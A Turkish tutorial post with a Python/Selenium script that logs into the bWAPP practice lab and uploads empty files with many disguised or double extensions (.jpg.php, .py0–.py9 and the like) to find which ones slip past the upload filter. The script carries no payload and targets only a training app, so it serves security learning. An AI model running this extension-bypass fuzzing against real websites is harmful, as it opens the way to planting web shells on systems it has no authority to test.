kodun genel mantığı :
1) siteye php javascript python dosyaları upload etmek için farklı uzantılara sahip dosyalar oluşturucaz
2) dosyaları siteye upload etmeye çalışacaz
3) siteye upload edebildiğimiz dosyaları terminalimize yazdırıcaz
genel bilgiler :
şimdi dosyanın uzantısını değiştiriyorum
şimdide uzantıya .jpg ekliycem bakalım python kodumuz çalışacakmı ?:
gördüğünüz gibi uzantıyı ne yaparsam yapıyım python dosyasını çalıştırabiliyorum
eğer bir dosyanın içerisinde python kodları varsa uzantısı ne olursa olsun python ile çalıştırdığım müddetçe içerisindeki kod bloğu çalışacaktır
kodlarımıza geçelim :
VİDEODA ÇALIŞAN HALİ : video
NOT : KOD ÇALIŞTIRILDIKTAN SONRA BİR DAHA ÇALIŞTIRILACAKSA DOSYALAR ADINDAKİ KLASÖRÜ SİLMENİZ VE OLUŞTURULAN DOSYALARDAKİ BAŞLANGIÇ ADLARINI DEĞİŞTİRMENİZ LAZIM
KODLAR :
Python:
import requests
from selenium import webdriver
from selenium.webdriver.common.by import By
import requests
from bs4 import BeautifulSoup
from selenium.webdriver.firefox.options import Options
import os
login = "http://192.168.1.37/bWAPP/login.php"
url = "http://192.168.1.37/bWAPP/unrestricted_file_upload.php"
option = Options()
option.add_argument("--headless")
browser = webdriver.Firefox(options=option)
browser.get(login)
browser.find_element(By.ID,"login").send_keys("bee")
browser.find_element(By.ID,"password").send_keys("bug")
browser.find_element(By.XPATH,"/html/body/div[2]/form/button").click()
#browser.find_element(By.XPATH,"/html/body/div[7]/form/select/option[2]").click() #medium zorluk seviyesine ayarladık
browser.find_element(By.XPATH,"/html/body/div[7]/form/select/option[3]").click() # high seviyesine ayarladık
browser.find_element(By.XPATH,"/html/body/div[7]/form/button").click()
browser.get(url)
response = browser.get_cookies()
session = requests.Session()
for cookie in response:
session.cookies.set(cookie['name'],cookie['value'])
uzantı = ["py","js","php"] #ne kadar uzantı eklerseniz ekleyin kod çalişacaktır
sayı = ["0","1","2","3","4","5","6","7","8","9"]
index = 0
liste = []
sıra = 0
for i in range(len(uzantı)*len(sayı)):
liste.append("türkhack."+uzantı[index]+sayı[sıra]) # .py0 --> .py1 --> .py2 --> ...
liste.append("türkhack.jpg."+uzantı[index]+sayı[sıra]) # .jpg.py0 --> .jpg.py1 --> .jpg.py2 --> ...
liste.append("türkhack.jpg.png."+uzantı[index]+sayı[sıra]) # .jpg.png.py0 --> .jpg.png.py1 --> ...
liste.append("türkhack.png.jpg."+uzantı[index]+sayı[sıra]) # .png.jpg.py0 --> .png.jpg.py0 --> ...
if sıra == 9:
#bunları neden burada kullandık derseniz ---yukarıda kullandıgımızda kendini tekrar ediyor burada tek sefer olarak yazılıyor---
liste.append("türkhack.jpg.png."+uzantı[index]) # .jpg.png.py0 --> .jpg.png.js0 --> .jpg.png.php0
liste.append("türkhack.png.jpg."+uzantı[index]) # .png.jpg.py0 --> .png.jpg.js0 --> .png.jpg.php0
liste.append(f"türkhack.{uzantı[index]}.jpg") # .py.jpg --> .js.jpg --> .php.jpg
liste.append(f"türkhack.{uzantı[index]}.jp") # .py.jp --> .js.jp -->.php.jp
liste.append(f"türkhack.jpg.{uzantı[index]}.jp") # .jpg.py.jp --> .jpg.js.jp --> .jpg.php.jp
liste.append(f"türkhack.jpg.{uzantı[index]}") # .jpg.py --> .jpg.js --> jpg.php
index += 1
sıra = 0
else:
sıra += 1
#eski dosyalar kısmı--------------------------------------
icerik = session.get("http://192.168.1.37/bWAPP/images/").text #images bölümüne yükleniyor bizim dosyalarımız
eski_liste = []
a = BeautifulSoup(icerik,'html.parser').find_all("a")
for q in a:#<a href="twitter.png">twitter.png</a> bu degerleri düzeltiyoruz
eski_liste.append(str(q).split(">")[1].replace("</a","")) # twitter.png
#eski dosyalar kısmı--------------------------------------
os.mkdir("C:\dosyalar") #dosyalar adında bir klasör oluşturuyoruz
#dosyaları siteye gonderiyoruz-------------------
for i in liste:
with open(f"C:\dosyalar\{i}","w"): #uzantılar ile dosya oluşturuyoruz ve dosyalar klasörünün içine kayıt ediyoruz
pass
browser.find_element(By.XPATH,"/html/body/div[2]/form/p/input").send_keys(f"C:\dosyalar\{i}") #kayıt ettiğimiz dosyaları sıra sıra gönderiyoruz
browser.find_element(By.XPATH,"/html/body/div[2]/form/input[2]").click() #bu çalıştı
#dosyaları siteye gonderiyoruz-------------------
yeni_icerik = session.get("http://192.168.1.37/bWAPP/images/").text #dosyaları siteye gonderdikten sonra images içerisindeki dosyaları çekelim (eğer dosyalarımız başarılı bir şekilde yüklendiyse burada gözükür)
yeni_liste = []
a = BeautifulSoup(yeni_icerik,'html.parser').find_all("a")
for q in a:
yeni_liste.append(str(q).split(">")[1].replace("</a",""))
for yeni in yeni_liste:
if yeni in eski_liste: # eski dosyalar ile aynı olmayan dosyalar bizim siteye gonderdigimiz ve uzantısı kabul olan dosyalardır
pass
else:
print("eklenen dosya :",yeni)